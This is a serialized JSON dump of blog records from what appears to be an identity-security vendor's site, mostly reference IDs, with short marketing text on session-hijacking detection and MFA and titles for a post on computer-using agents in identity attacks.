tool.",{"data":149746,"content":149747,"nodeType":1570},{},[149748],{"data":149749,"content":149750,"nodeType":866},{},[149751,149754,149762],{"data":149752,"marks":149753,"value":21,"nodeType":865},{},[],{"data":149755,"content":149756,"nodeType":889},{"uri":62386},[149757],{"data":149758,"marks":149759,"value":149761,"nodeType":865},{},[149760],{"type":943},"Detecting session hijacking attacks using stolen cookies to identify when an attacker logs into an app",{"data":149763,"marks":149764,"value":149765,"nodeType":865},{},[]," from an unmanaged device without the Push browser extension — this can also be used to detect suspicious access in general!",{"data":149767,"content":149768,"nodeType":1570},{},[149769],{"data":149770,"content":149771,"nodeType":866},{},[149772],{"data":149773,"marks":149774,"value":149775,"nodeType":865},{},[],"Enabling you to enforce MFA the next time an employee logs into an app (even when the app itself doesn’t allow you to enforce mandatory MFA) — particularly handy if a weak, breached, or reused password is detected for their account!  ",{"data":149777,"content":149778,"nodeType":866},{},[149779],{"data":149780,"marks":149781,"value":149782,"nodeType":865},{},[],"And much, much more. ",{"data":149784,"content":149785,"nodeType":866},{},[149786,149790,149798],{"data":149787,"marks":149788,"value":149789,"nodeType":865},{},[],"If you’d like to explore the platform yourself and discover more of our great features, you can ",{"data":149791,"content":149792,"nodeType":889},{"uri":1372},[149793],{"data":149794,"marks":149795,"value":149797,"nodeType":865},{},[149796],{"type":943},"request a demo",{"data":149799,"marks":149800,"value":1615,"nodeType":865},{},[],"Reviewing public breaches that stemmed from identity attacks in 2024. ","2025-01-10T00:00:00.000Z",{"items":149804},[149805],{"sys":149806,"name":7796},{"id":7795},{"items":149808},[149809],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":149810},{"url":7804},{"__typename":1429,"sys":149812,"content":149813,"title":146025,"synopsis":146026,"hashTags":59,"publishedDate":146027,"slug":146028,"tagsCollection":150349,"authorsCollection":150355},{"id":145409},{"json":149814},{"data":149815,"content":149816,"nodeType":1382},{},[149817,149823,149836,149842,149847,149853,149859,149862,149868,149874,149880,149900,149906,149919,149922,149928,149934,149955,149961,149967,149983,149988,149994,150010,150015,150021,150061,150068,150074,150084,150094,150100,150126,150132,150135,150141,150157,150163,150169,150175,150178,150184,150191,150197,150203,150263,150269,150275,150281,150311,150317,150323,150329,150334],{"data":149818,"content":149819,"nodeType":866},{},[149820],{"data":149821,"marks":149822,"value":145420,"nodeType":865},{},[],{"data":149824,"content":149825,"nodeType":866},{},[149826,149829,149833],{"data":149827,"marks":149828,"value":145427,"nodeType":865},{},[],{"data":149830,"marks":149831,"value":145432,"nodeType":865},{},[149832],{"type":926},{"data":149834,"marks":149835,"value":145436,"nodeType":865},{},[],{"data":149837,"content":149838,"nodeType":866},{},[149839],{"data":149840,"marks":149841,"value":145443,"nodeType":865},{},[],{"data":149843,"content":149846,"nodeType":912},{"target":149844},{"sys":149845},{"id":145448,"type":909,"linkType":910},[],{"data":149848,"content":149849,"nodeType":866},{},[149850],{"data":149851,"marks":149852,"value":145456,"nodeType":865},{},[],{"data":149854,"content":149855,"nodeType":866},{},[149856],{"data":149857,"marks":149858,"value":145463,"nodeType":865},{},[],{"data":149860,"content":149861,"nodeType":972},{},[],{"data":149863,"content":149864,"nodeType":981},{},[149865],{"data":149866,"marks":149867,"value":145473,"nodeType":865},{},[],{"data":149869,"content":149870,"nodeType":866},{},[149871],{"data":149872,"marks":149873,"value":145480,"nodeType":865},{},[],{"data":149875,"content":149876,"nodeType":866},{},[149877],{"data":149878,"marks":149879,"value":145487,"nodeType":865},{},[],{"data":149881,"content":149882,"nodeType":866},{},[149883,149886,149890,149893,149897],{"data":149884,"marks":149885,"value":145494,"nodeType":865},{},[],{"data":149887,"marks":149888,"value":145499,"nodeType":865},{},[149889],{"type":926},{"data":149891,"marks":149892,"value":2688,"nodeType":865},{},[],{"data":149894,"marks":149895,"value":145507,"nodeType":865},{},[149896],{"type":926},{"data":149898,"marks":149899,"value":5959,"nodeType":865},{},[],{"data":149901,"content":149902,"nodeType":866},{},[149903],{"data":149904,"marks":149905,"value":145517,"nodeType":865},{},[],{"data":149907,"content":149908,"nodeType":866},{},[149909,149912,149916],{"data":149910,"marks":149911,"value":145524,"nodeType":865},{},[],{"data":149913,"marks":149914,"value":145529,"nodeType":865},{},[149915],{"type":926},{"data":149917,"marks":149918,"value":145533,"nodeType":865},{},[],{"data":149920,"content":149921,"nodeType":972},{},[],{"data":149923,"content":149924,"nodeType":981},{},[149925],{"data":149926,"marks":149927,"value":145543,"nodeType":865},{},[],{"data":149929,"content":149930,"nodeType":866},{},[149931],{"data":149932,"marks":149933,"value":145550,"nodeType":865},{},[],{"data":149935,"content":149936,"nodeType":1616},{},[149937,149946],{"data":149938,"content":149939,"nodeType":1570},{},[149940],{"data":149941,"content":149942,"nodeType":866},{},[149943],{"data":149944,"marks":149945,"value":145563,"nodeType":865},{},[],{"data":149947,"content":149948,"nodeType":1570},{},[149949],{"data":149950,"content":149951,"nodeType":866},{},[149952],{"data":149953,"marks":149954,"value":145573,"nodeType":865},{},[],{"data":149956,"content":149957,"nodeType":866},{},[149958],{"data":149959,"marks":149960,"value":145580,"nodeType":865},{},[],{"data":149962,"content":149963,"nodeType":1317},{},[149964],{"data":149965,"marks":149966,"value":145587,"nodeType":865},{},[],{"data":149968,"content":149969,"nodeType":866},{},[149970,149973,149980],{"data":149971,"marks":149972,"value":145594,"nodeType":865},{},[],{"data":149974,"content":149975,"nodeType":889},{"uri":6698},[149976],{"data":149977,"marks":149978,"value":145602,"nodeType":865},{},[149979],{"type":943},{"data":149981,"marks":149982,"value":14251,"nodeType":865},{},[],{"data":149984,"content":149987,"nodeType":912},{"target":149985},{"sys":149986},{"id":145610,"type":909,"linkType":910},[],{"data":149989,"content":149990,"nodeType":866},{},[149991],{"data":149992,"marks":149993,"value":145618,"nodeType":865},{},[],{"data":149995,"content":149996,"nodeType":866},{},[149997,150000,150007],{"data":149998,"marks":149999,"value":145625,"nodeType":865},{},[],{"data":150001,"content":150002,"nodeType":889},{"uri":3488},[150003],{"data":150004,"marks":150005,"value":145633,"nodeType":865},{},[150006],{"type":943},{"data":150008,"marks":150009,"value":145637,"nodeType":865},{},[],{"data":150011,"content":150014,"nodeType":912},{"target":150012},{"sys":150013},{"id":145642,"type":909,"linkType":910},[],{"data":150016,"content":150017,"nodeType":866},{},[150018],{"data":150019,"marks":150020,"value":145650,"nodeType":865},{},[],{"data":150022,"content":150023,"nodeType":1616},{},[150024,150033,150042],{"data":150025,"content":150026,"nodeType":1570},{},[150027],{"data":150028,"content":150029,"nodeType":866},{},[150030],{"data":150031,"marks":150032,"value":145663,"nodeType":865},{},[],{"data":150034,"content":150035,"nodeType":1570},{},[150036],{"data":150037,"content":150038,"nodeType":866},{},[150039],{"data":150040,"marks":150041,"value":145673,"nodeType":865},{},[],{"data":150043,"content":150044,"nodeType":1570},{},[150045],{"data":150046,"content":150047,"nodeType":866},{},[150048,150051,150058],{"data":150049,"marks":150050,"value":145683,"nodeType":865},{},[],{"data":150052,"content":150053,"nodeType":889},{"uri":145686},[150054],{"data":150055,"marks":150056,"value":145692,"nodeType":865},{},[150057],{"type":943},{"data":150059,"marks":150060,"value":145696,"nodeType":865},{},[],{"data":150062,"content":150063,"nodeType":866},{},[150064],{"data":150065,"marks":150066,"value":145704,"nodeType":865},{},[150067],{"type":926},{"data":150069,"content":150070,"nodeType":866},{},[150071],{"data":150072,"marks":150073,"value":145711,"nodeType":865},{},[],{"data":150075,"content":150076,"nodeType":866},{},[150077,150081],{"data":150078,"marks":150079,"value":145719,"nodeType":865},{},[150080],{"type":926},{"data":150082,"marks":150083,"value":145723,"nodeType":865},{},[],{"data":150085,"content":150086,"nodeType":866},{},[150087,150091],{"data":150088,"marks":150089,"value":145731,"nodeType":865},{},[150090],{"type":926},{"data":150092,"marks":150093,"value":145735,"nodeType":865},{},[],{"data":150095,"content":150096,"nodeType":1317},{},[150097],{"data":150098,"marks":150099,"value":145742,"nodeType":865},{},[],{"data":150101,"content":150102,"nodeType":866},{},[150103,150106,150113,150116,150123],{"data":150104,"marks":150105,"value":145749,"nodeType":865},{},[],{"data":150107,"content":150108,"nodeType":889},{"uri":145752},[150109],{"data":150110,"marks":150111,"value":145758,"nodeType":865},{},[150112],{"type":943},{"data":150114,"marks":150115,"value":145762,"nodeType":865},{},[],{"data":150117,"content":150118,"nodeType":889},{"uri":145765},[150119],{"data":150120,"marks":150121,"value":145771,"nodeType":865},{},[150122],{"type":943},{"data":150124,"marks":150125,"value":145775,"nodeType":865},{},[],{"data":150127,"content":150128,"nodeType":866},{},[150129],{"data":150130,"marks":150131,"value":145782,"nodeType":865},{},[],{"data":150133,"content":150134,"nodeType":972},{},[],{"data":150136,"content":150137,"nodeType":981},{},[150138],{"data":150139,"marks":150140,"value":145792,"nodeType":865},{},[],{"data":150142,"content":150143,"nodeType":866},{},[150144,150147,150154],{"data":150145,"marks":150146,"value":145799,"nodeType":865},{},[],{"data":150148,"content":150149,"nodeType":889},{"uri":145802},[150150],{"data":150151,"marks":150152,"value":145808,"nodeType":865},{},[150153],{"type":943},{"data":150155,"marks":150156,"value":145812,"nodeType":865},{},[],{"data":150158,"content":150159,"nodeType":866},{},[150160],{"data":150161,"marks":150162,"value":145819,"nodeType":865},{},[],{"data":150164,"content":150165,"nodeType":866},{},[150166],{"data":150167,"marks":150168,"value":145826,"nodeType":865},{},[],{"data":150170,"content":150171,"nodeType":866},{},[150172],{"data":150173,"marks":150174,"value":145833,"nodeType":865},{},[],{"data":150176,"content":150177,"nodeType":972},{},[],{"data":150179,"content":150180,"nodeType":981},{},[150181],{"data":150182,"marks":150183,"value":145843,"nodeType":865},{},[],{"data":150185,"content":150186,"nodeType":866},{},[150187],{"data":150188,"marks":150189,"value":145851,"nodeType":865},{},[150190],{"type":926},{"data":150192,"content":150193,"nodeType":866},{},[150194],{"data":150195,"marks":150196,"value":145858,"nodeType":865},{},[],{"data":150198,"content":150199,"nodeType":866},{},[150200],{"data":150201,"marks":150202,"value":145865,"nodeType":865},{},[],{"data":150204,"content":150205,"nodeType":1616},{},[150206,150225,150244],{"data":150207,"content":150208,"nodeType":1570},{},[150209],{"data":150210,"content":150211,"nodeType":866},{},[150212,150215,150222],{"data":150213,"marks":150214,"value":21,"nodeType":865},{},[],{"data":150216,"content":150217,"nodeType":889},{"uri":145880},[150218],{"data":150219,"marks":150220,"value":145880,"nodeType":865},{},[150221],{"type":943},{"data":150223,"marks":150224,"value":5959,"nodeType":865},{},[],{"data":150226,"content":150227,"nodeType":1570},{},[150228],{"data":150229,"content":150230,"nodeType":866},{},[150231,150234,150241],{"data":150232,"marks":150233,"value":21,"nodeType":865},{},[],{"data":150235,"content":150236,"nodeType":889},{"uri":145900},[150237],{"data":150238,"marks":150239,"value":145900,"nodeType":865},{},[150240],{"type":943},{"data":150242,"marks":150243,"value":21,"nodeType":865},{},[],{"data":150245,"content":150246,"nodeType":1570},{},[150247],{"data":150248,"content":150249,"nodeType":866},{},[150250,150253,150260],{"data":150251,"marks":150252,"value":21,"nodeType":865},{},[],{"data":150254,"content":150255,"nodeType":889},{"uri":145920},[150256],{"data":150257,"marks":150258,"value":145920,"nodeType":865},{},[150259],{"type":943},{"data":150261,"marks":150262,"value":1615,"nodeType":865},{},[],{"data":150264,"content":150265,"nodeType":866},{},[150266],{"data":150267,"marks":150268,"value":145935,"nodeType":865},{},[],{"data":150270,"content":150271,"nodeType":1317},{},[150272],{"data":150273,"marks":150274,"value":145942,"nodeType":865},{},[],{"data":150276,"content":150277,"nodeType":866},{},[150278],{"data":150279,"marks":150280,"value":145949,"nodeType":865},{},[],{"data":150282,"content":150283,"nodeType":1616},{},[150284,150293,150302],{"data":150285,"content":150286,"nodeType":1570},{},[150287],{"data":150288,"content":150289,"nodeType":866},{},[150290],{"data":150291,"marks":150292,"value":145962,"nodeType":865},{},[],{"data":150294,"content":150295,"nodeType":1570},{},[150296],{"data":150297,"content":150298,"nodeType":866},{},[150299],{"data":150300,"marks":150301,"value":145972,"nodeType":865},{},[],{"data":150303,"content":150304,"nodeType":1570},{},[150305],{"data":150306,"content":150307,"nodeType":866},{},[150308],{"data":150309,"marks":150310,"value":145982,"nodeType":865},{},[],{"data":150312,"content":150313,"nodeType":1317},{},[150314],{"data":150315,"marks":150316,"value":6331,"nodeType":865},{},[],{"data":150318,"content":150319,"nodeType":866},{},[150320],{"data":150321,"marks":150322,"value":145995,"nodeType":865},{},[],{"data":150324,"content":150325,"nodeType":866},{},[150326],{"data":150327,"marks":150328,"value":146002,"nodeType":865},{},[],{"data":150330,"content":150333,"nodeType":912},{"target":150331},{"sys":150332},{"id":146007,"type":909,"linkType":910},[],{"data":150335,"content":150336,"nodeType":866},{},[150337,150340,150346],{"data":150338,"marks":150339,"value":146015,"nodeType":865},{},[],{"data":150341,"content":150342,"nodeType":889},{"uri":16069},[150343],{"data":150344,"marks":150345,"value":132578,"nodeType":865},{},[],{"data":150347,"marks":150348,"value":132582,"nodeType":865},{},[],{"items":150350},[150351,150353],{"sys":150352,"name":7796},{"id":7795},{"sys":150354,"name":297},{"id":2310},{"items":150356},[150357],{"fullName":57332,"firstName":57333,"jobTitle":57334,"profilePicture":150358},{"url":57336},"minimum-viable-identity-security","blog/minimum-viable-identity-security","8 ways app developers can go beyond MVSP to mitigate identity-based attacks",{"json":150363},{"data":150364,"content":150365,"nodeType":1382},{},[150366],{"data":150367,"content":150368,"nodeType":866},{},[150369],{"data":150370,"marks":150371,"value":150372,"nodeType":865},{},[],"How app developers can go beyond the Minimum Viable Secure Product (MVSP) controls framework to implement better identity protections and prevent identity-based attacks. ","How app developers can go beyond Minimum Viable Secure Product (MVSP) to implement better identity protections and prevent identity-based attacks. ",{"id":150375,"publishedAt":150376},"1VGP8VIzwMh0zjNOzU5qaq","2026-08-13T09:35:15.589Z",{"items":150378},[150379,150381],{"sys":150380,"name":297},{"id":2310},{"sys":150382,"name":342},{"id":4642},{"items":150384},[150385,150387,150389,150391,150393,150395,150397,150399,150401,150403,150405,150407,150409,150411,150413],{"sys":150386,"name":413,"slug":414,"tier":31},{"id":410},{"sys":150388,"name":545,"slug":546,"tier":31},{"id":542},{"sys":150390,"name":297,"slug":298,"tier":31},{"id":294},{"sys":150392,"name":342,"slug":343,"tier":31},{"id":339},{"sys":150394,"name":502,"slug":503,"tier":45},{"id":499},{"sys":150396,"name":457,"slug":458,"tier":45},{"id":454},{"sys":150398,"name":395,"slug":396,"tier":45},{"id":392},{"sys":150400,"name":571,"slug":572,"tier":45},{"id":568},{"sys":150402,"name":333,"slug":334,"tier":45},{"id":330},{"sys":150404,"name":466,"slug":467,"tier":45},{"id":463},{"sys":150406,"name":493,"slug":494,"tier":45},{"id":490},{"sys":150408,"name":484,"slug":485,"tier":45},{"id":481},{"sys":150410,"name":404,"slug":405,"tier":45},{"id":401},{"sys":150412,"name":324,"slug":325,"tier":45},{"id":321},{"sys":150414,"name":598,"slug":599,"tier":45},{"id":595},"36eBiMftHHKz8mXIjsEN0ybWULXePeHjkaI21BYrWJE",{"id":150417,"title":146025,"authorsCollection":150418,"content":150424,"extension":228,"faqItemsCollection":150994,"faqTitle":59,"featured":6,"hashTags":59,"meta":150996,"metaTitle":150997,"ogImage":150998,"postType":42959,"publishedDate":146027,"relatedBlogPostsCollection":151000,"slug":146028,"stem":153267,"subtitle":59,"summary":153268,"synopsis":146026,"sys":153279,"tagsCollection":153281,"topicsCollection":153287,"__hash__":153323},"blog/blog/considering-the-impact-of-computer-using-agents.json",{"items":150419},[150420],{"fullName":57332,"firstName":57333,"jobTitle":57334,"socialLinks":150421,"profilePicture":150423},[150422],"https://www.linkedin.com/in/jacques-louw-o-62608594/",{"url":57336},{"json":150425,"links":150960},{"data":150426,"content":150427,"nodeType":1382},{},[150428,150434,150447,150453,150458,150464,150470,150473,150479,150485,150491,150511,150517,150530,150533,150539,150545,150566,150572,150578,150594,150599,150605,150621,150626,150632,150672,150679,150685,150695,150705,150711,150737,150743,150746,150752,150768,150774,150780,150786,150789,150795,150802,150808,150814,150874,150880,150886,150892,150922,150928,150934,150940,150945],{"data":150429,"content":150430,"nodeType":866},{},[150431],{"data":150432,"marks":150433,"value":145420,"nodeType":865},{},[],{"data":150435,"content":150436,"nodeType":866},{},[150437,150440,150444],{"data":150438,"marks":150439,"value":145427,"nodeType":865},{},[],{"data":150441,"marks":150442,"value":145432,"nodeType":865},{},[150443],{"type":926},{"data":150445,"marks":150446,"value":145436,"nodeType":865},{},[],{"data":150448,"content":150449,"nodeType":866},{},[150450],{"data":150451,"marks":150452,"value":145443,"nodeType":865},{},[],{"data":150454,"content":150457,"nodeType":912},{"target":150455},{"sys":150456},{"id":145448,"type":909,"linkType":910},[],{"data":150459,"content":150460,"nodeType":866},{},[150461],{"data":150462,"marks":150463,"value":145456,"nodeType":865},{},[],{"data":150465,"content":150466,"nodeType":866},{},[150467],{"data":150468,"marks":150469,"value":145463,"nodeType":865},{},[],{"data":150471,"content":150472,"nodeType":972},{},[],{"data":150474,"content":150475,"nodeType":981},{},[150476],{"data":150477,"marks":150478,"value":145473,"nodeType":865},{},[],{"data":150480,"content":150481,"nodeType":866},{},[150482],{"data":150483,"marks":150484,"value":145480,"nodeType":865},{},[],{"data":150486,"content":150487,"nodeType":866},{},[150488],{"data":150489,"marks":150490,"value":145487,"nodeType":865},{},[],{"data":150492,"content":150493,"nodeType":866},{},[150494,150497,150501,150504,150508],{"data":150495,"marks":150496,"value":145494,"nodeType":865},{},[],{"data":150498,"marks":150499,"value":145499,"nodeType":865},{},[150500],{"type":926},{"data":150502,"marks":150503,"value":2688,"nodeType":865},{},[],{"data":150505,"marks":150506,"value":145507,"nodeType":865},{},[150507],{"type":926},{"data":150509,"marks":150510,"value":5959,"nodeType":865},{},[],{"data":150512,"content":150513,"nodeType":866},{},[150514],{"data":150515,"marks":150516,"value":145517,"nodeType":865},{},[],{"data":150518,"content":150519,"nodeType":866},{},[150520,150523,150527],{"data":150521,"marks":150522,"value":145524,"nodeType":865},{},[],{"data":150524,"marks":150525,"value":145529,"nodeType":865},{},[150526],{"type":926},{"data":150528,"marks":150529,"value":145533,"nodeType":865},{},[],{"data":150531,"content":150532,"nodeType":972},{},[],{"data":150534,"content":150535,"nodeType":981},{},[150536],{"data":150537,"marks":150538,"value":145543,"nodeType":865},{},[],{"data":150540,"content":150541,"nodeType":866},{},[150542],{"data":150543,"marks":150544,"value":145550,"nodeType":865},{},[],{"data":150546,"content":150547,"nodeType":1616},{},[150548,150557],{"data":150549,"content":150550,"nodeType":1570},{},[150551],{"data":150552,"content":150553,"nodeType":866},{},[150554],{"data":150555,"marks":150556,"value":145563,"nodeType":865},{},[],{"data":150558,"content":150559,"nodeType":1570},{},[150560],{"data":150561,"content":150562,"nodeType":866},{},[150563],{"data":150564,"marks":150565,"value":145573,"nodeType":865},{},[],{"data":150567,"content":150568,"nodeType":866},{},[150569],{"data":150570,"marks":150571,"value":145580,"nodeType":865},{},[],{"data":150573,"content":150574,"nodeType":1317},{},[150575],{"data":150576,"marks":150577,"value":145587,"nodeType":865},{},[],{"data":150579,"content":150580,"nodeType":866},{},[150581,150584,150591],{"data":150582,"marks":150583,"value":145594,"nodeType":865},{},[],{"data":150585,"content":150586,"nodeType":889},{"uri":6698},[150587],{"data":150588,"marks":150589,"value":145602,"nodeType":865},{},[150590],{"type":943},{"data":150592,"marks":150593,"value":14251,"nodeType":865},{},[],{"data":150595,"content":150598,"nodeType":912},{"target":150596},{"sys":150597},{"id":145610,"type":909,"linkType":910},[],{"data":150600,"content":150601,"nodeType":866},{},[150602],{"data":150603,"marks":150604,"value":145618,"nodeType":865},{},[],{"data":150606,"content":150607,"nodeType":866},{},[150608,150611,150618],{"data":150609,"marks":150610,"value":145625,"nodeType":865},{},[],{"data":150612,"content":150613,"nodeType":889},{"uri":3488},[150614],{"data":150615,"marks":150616,"value":145633,"nodeType":865},{},[150617],{"type":943},{"data":150619,"marks":150620,"value":145637,"nodeType":865},{},[],{"data":150622,"content":150625,"nodeType":912},{"target":150623},{"sys":150624},{"id":145642,"type":909,"linkType":910},[],{"data":150627,"content":150628,"nodeType":866},{},[150629],{"data":150630,"marks":150631,"value":145650,"nodeType":865},{},[],{"data":150633,"content":150634,"nodeType":1616},{},[150635,150644,150653],{"data":150636,"content":150637,"nodeType":1570},{},[150638],{"data":150639,"content":150640,"nodeType":866},{},[150641],{"data":150642,"marks":150643,"value":145663,"nodeType":865},{},[],{"data":150645,"content":150646,"nodeType":1570},{},[150647],{"data":150648,"content":150649,"nodeType":866},{},[150650],{"data":150651,"marks":150652,"value":145673,"nodeType":865},{},[],{"data":150654,"content":150655,"nodeType":1570},{},[150656],{"data":150657,"content":150658,"nodeType":866},{},[150659,150662,150669],{"data":150660,"marks":150661,"value":145683,"nodeType":865},{},[],{"data":150663,"content":150664,"nodeType":889},{"uri":145686},[150665],{"data":150666,"marks":150667,"value":145692,"nodeType":865},{},[150668],{"type":943},{"data":150670,"marks":150671,"value":145696,"nodeType":865},{},[],{"data":150673,"content":150674,"nodeType":866},{},[150675],{"data":150676,"marks":150677,"value":145704,"nodeType":865},{},[150678],{"type":926},{"data":150680,"content":150681,"nodeType":866},{},[150682],{"data":150683,"marks":150684,"value":145711,"nodeType":865},{},[],{"data":150686,"content":150687,"nodeType":866},{},[150688,150692],{"data":150689,"marks":150690,"value":145719,"nodeType":865},{},[150691],{"type":926},{"data":150693,"marks":150694,"value":145723,"nodeType":865},{},[],{"data":150696,"content":150697,"nodeType":866},{},[150698,150702],{"data":150699,"marks":150700,"value":145731,"nodeType":865},{},[150701],{"type":926},{"data":150703,"marks":150704,"value":145735,"nodeType":865},{},[],{"data":150706,"content":150707,"nodeType":1317},{},[150708],{"data":150709,"marks":150710,"value":145742,"nodeType":865},{},[],{"data":150712,"content":150713,"nodeType":866},{},[150714,150717,150724,150727,150734],{"data":150715,"marks":150716,"value":145749,"nodeType":865},{},[],{"data":150718,"content":150719,"nodeType":889},{"uri":145752},[150720],{"data":150721,"marks":150722,"value":145758,"nodeType":865},{},[150723],{"type":943},{"data":150725,"marks":150726,"value":145762,"nodeType":865},{},[],{"data":150728,"content":150729,"nodeType":889},{"uri":145765},[150730],{"data":150731,"marks":150732,"value":145771,"nodeType":865},{},[150733],{"type":943},{"data":150735,"marks":150736,"value":145775,"nodeType":865},{},[],{"data":150738,"content":150739,"nodeType":866},{},[150740],{"data":150741,"marks":150742,"value":145782,"nodeType":865},{},[],{"data":150744,"content":150745,"nodeType":972},{},[],{"data":150747,"content":150748,"nodeType":981},{},[150749],{"data":150750,"marks":150751,"value":145792,"nodeType":865},{},[],{"data":150753,"content":150754,"nodeType":866},{},[150755,150758,150765],{"data":150756,"marks":150757,"value":145799,"nodeType":865},{},[],{"data":150759,"content":150760,"nodeType":889},{"uri":145802},[150761],{"data":150762,"marks":150763,"value":145808,"nodeType":865},{},[150764],{"type":943},{"data":150766,"marks":150767,"value":145812,"nodeType":865},{},[],{"data":150769,"content":150770,"nodeType":866},{},[150771],{"data":150772,"marks":150773,"value":145819,"nodeType":865},{},[],{"data":150775,"content":150776,"nodeType":866},{},[150777],{"data":150778,"marks":150779,"value":145826,"nodeType":865},{},[],{"data":150781,"content":150782,"nodeType":866},{},[150783],{"data":150784,"marks":150785,"value":145833,"nodeType":865},{},[],{"data":150787,"content":150788,"nodeType":972},{},[],{"data":150790,"content":150791,"nodeType":981},{},[150792],{"data":150793,"marks":150794,"value":145843,"nodeType":865},{},[],{"data":150796,"content":150797,"nodeType":866},{},[150798],{"data":150799,"marks":150800,"value":145851,"nodeType":865},{},[150801],{"type":926},{"data":150803,"content":150804,"nodeType":866},{},[150805],{"data":150806,"marks":150807,"value":145858,"nodeType":865},{},[],{"data":150809,"content":150810,"nodeType":866},{},[150811],{"data":150812,"marks":150813,"value":145865,"nodeType":865},{},[],{"data":150815,"content":150816,"nodeType":1616},{},[150817,150836,150855],{"data":150818,"content":150819,"nodeType":1570},{},[150820],{"data":150821,"content":150822,"nodeType":866},{},[150823,150826,150833],{"data":150824,"marks":150825,"value":21,"nodeType":865},{},[],{"data":150827,"content":150828,"nodeType":889},{"uri":145880},[150829],{"data":150830,"marks":150831,"value":145880,"nodeType":865},{},[150832],{"type":943},{"data":150834,"marks":150835,"value":5959,"nodeType":865},{},[],{"data":150837,"content":150838,"nodeType":1570},{},[150839],{"data":150840,"content":150841,"nodeType":866},{},[150842,150845,150852],{"data":150843,"marks":150844,"value":21,"nodeType":865},{},[],{"data":150846,"content":150847,"nodeType":889},{"uri":145900},[150848],{"data":150849,"marks":150850,"value":145900,"nodeType":865},{},[150851],{"type":943},{"data":150853,"marks":150854,"value":21,"nodeType":865},{},[],{"data":150856,"content":150857,"nodeType":1570},{},[150858],{"data":150859,"content":150860,"nodeType":866},{},[150861,150864,150871],{"data":150862,"marks":150863,"value":21,"nodeType":865},{},[],{"data":150865,"content":150866,"nodeType":889},{"uri":145920},[150867],{"data":150868,"marks":150869,"value":145920,"nodeType":865},{},[150870],{"type":943},{"data":150872,"marks":150873,"value":1615,"nodeType":865},{},[],{"data":150875,"content":150876,"nodeType":866},{},[150877],{"data":150878,"marks":150879,"value":145935,"nodeType":865},{},[],{"data":150881,"content":150882,"nodeType":1317},{},[150883],{"data":150884,"marks":150885,"value":145942,"nodeType":865},{},[],{"data":150887,"content":150888,"nodeType":866},{},[150889],{"data":150890,"marks":150891,"value":145949,"nodeType":865},{},[],{"data":150893,"content":150894,"nodeType":1616},{},[150895,150904,150913],{"data":150896,"content":150897,"nodeType":1570},{},[150898],{"data":150899,"content":150900,"nodeType":866},{},[150901],{"data":150902,"marks":150903,"value":145962,"nodeType":865},{},[],{"data":150905,"content":150906,"nodeType":1570},{},[150907],{"data":150908,"content":150909,"nodeType":866},{},[150910],{"data":150911,"marks":150912,"value":145972,"nodeType":865},{},[],{"data":150914,"content":150915,"nodeType":1570},{},[150916],{"data":150917,"content":150918,"nodeType":866},{},[150919],{"data":150920,"marks":150921,"value":145982,"nodeType":865},{},[],{"data":150923,"content":150924,"nodeType":1317},{},[150925],{"data":150926,"marks":150927,"value":6331,"nodeType":865},{},[],{"data":150929,"content":150930,"nodeType":866},{},[150931],{"data":150932,"marks":150933,"value":145995,"nodeType":865},{},[],{"data":150935,"content":150936,"nodeType":866},{},[150937],{"data":150938,"marks":150939,"value":146002,"nodeType":865},{},[],{"data":150941,"content":150944,"nodeType":912},{"target":150942},{"sys":150943},{"id":146007,"type":909,"linkType":910},[],{"data":150946,"content":150947,"nodeType":866},{},[150948,150951,150957],{"data":150949,"marks":150950,"value":146015,"nodeType":865},{},[],{"data":150952,"content":150953,"nodeType":889},{"uri":16069},[150954],{"data":150955,"marks":150956,"value":132578,"nodeType":865},{},[],{"data":150958,"marks":150959,"value":132582,"nodeType":865},{},[],{"entries":150961},{"hyperlink":150962,"inline":150963,"block":150964},[],[],[150965,150970,150974,150988],{"sys":150966,"__typename":1390,"title":150967,"caption":150967,"layoutMode":59,"file":150968},{"id":145448},"OpenAI Operator being tasked with “find and book me the highest rated one-day tour of Rome on Tripadvisor”",{"url":150969,"width":129357,"height":90606},"https://images.ctfassets.net/y1cdw1ablpvd/5iIuabafJE9Ppd3MBVPQr1/c28b519b0ea62b926a0ef17c404fc550/image1.png",{"sys":150971,"__typename":1414,"type":1415,"ctaText":150972,"buttonLabel":150973,"buttonColour":114626,"buttonUrl":132206},{"id":145610},"Read about how identity-based techniques were used by attackers in 2024s biggest cyber breaches","Read Blog",{"sys":150975,"__typename":5503,"content":150976,"name":150987,"title":59},{"id":145642},{"json":150977},{"nodeType":1382,"data":150978,"content":150979},{},[150980],{"nodeType":866,"data":150981,"content":150982},{},[150983],{"nodeType":865,"value":150984,"marks":150985,"data":150986},"The Snowflake attacks saw credentials from infostealer infections dating back to 2020 used to breach ~165 customer tenants, resulting in hundreds of millions of breached customer records — arguably the biggest cyber breach of the year. But the impact could have been significantly worse than this if the attackers had access to a CUA. ",[],{},"The Snowflake attacks saw credentials from infostealer infections dating back to 2020 used against ~165 customer tenants. But the impact could have been significantly worse than this if the attackers had access to a CUA. ",{"sys":150989,"__typename":131392,"title":150990,"youTubeUrl":150991,"imagePlaceholder":150992},{"id":146007},"5 ways Computer-Using Agents can automate identity attacks","https://www.youtube.com/watch?v=BuefsnMMyrM",{"url":150993,"width":129357,"height":90606},"https://images.ctfassets.net/y1cdw1ablpvd/7kFAZLy7gbAMifHkkKpfo/add59eb5173ee6b0910d86d5406bb946/Slide_16_9_-_104__1_.png",{"items":150995},[],{},"How Computer-Using Agents can be leveraged in cyber attacks",{"url":150999},"https://images.ctfassets.net/y1cdw1ablpvd/4ACAoxro2X0ONhQrEMDd8C/a066c8b0ec720732f98da1ed5dd2c382/Youtube_Video_Thumbnail_V2__3_.jpg",{"items":151001},[151002,151552,152252],{"__typename":1429,"sys":151003,"content":151004,"title":126565,"synopsis":149801,"hashTags":59,"publishedDate":149802,"slug":126566,"tagsCollection":151544,"authorsCollection":151548},{"id":126179},{"json":151005},{"data":151006,"content":151007,"nodeType":1382},{},[151008,151014,151020,151026,151042,151048,151054,151057,151064,151070,151076,151082,151087,151093,151096,151103,151109,151115,151121,151127,151132,151138,151141,151148,151155,151161,151167,151173,151189,151196,151202,151208,151214,151220,151227,151233,151239,151244,151247,151254,151260,151266,151272,151278,151284,151287,151294,151300,151306,151312,151318,151324,151422,151435,151441,151446,151449,151456,151462,151522,151528],{"data":151009,"content":151010,"nodeType":866},{},[151011],{"data":151012,"marks":151013,"value":149193,"nodeType":865},{},[],{"data":151015,"content":151016,"nodeType":866},{},[151017],{"data":151018,"marks":151019,"value":149200,"nodeType":865},{},[],{"data":151021,"content":151022,"nodeType":866},{},[151023],{"data":151024,"marks":151025,"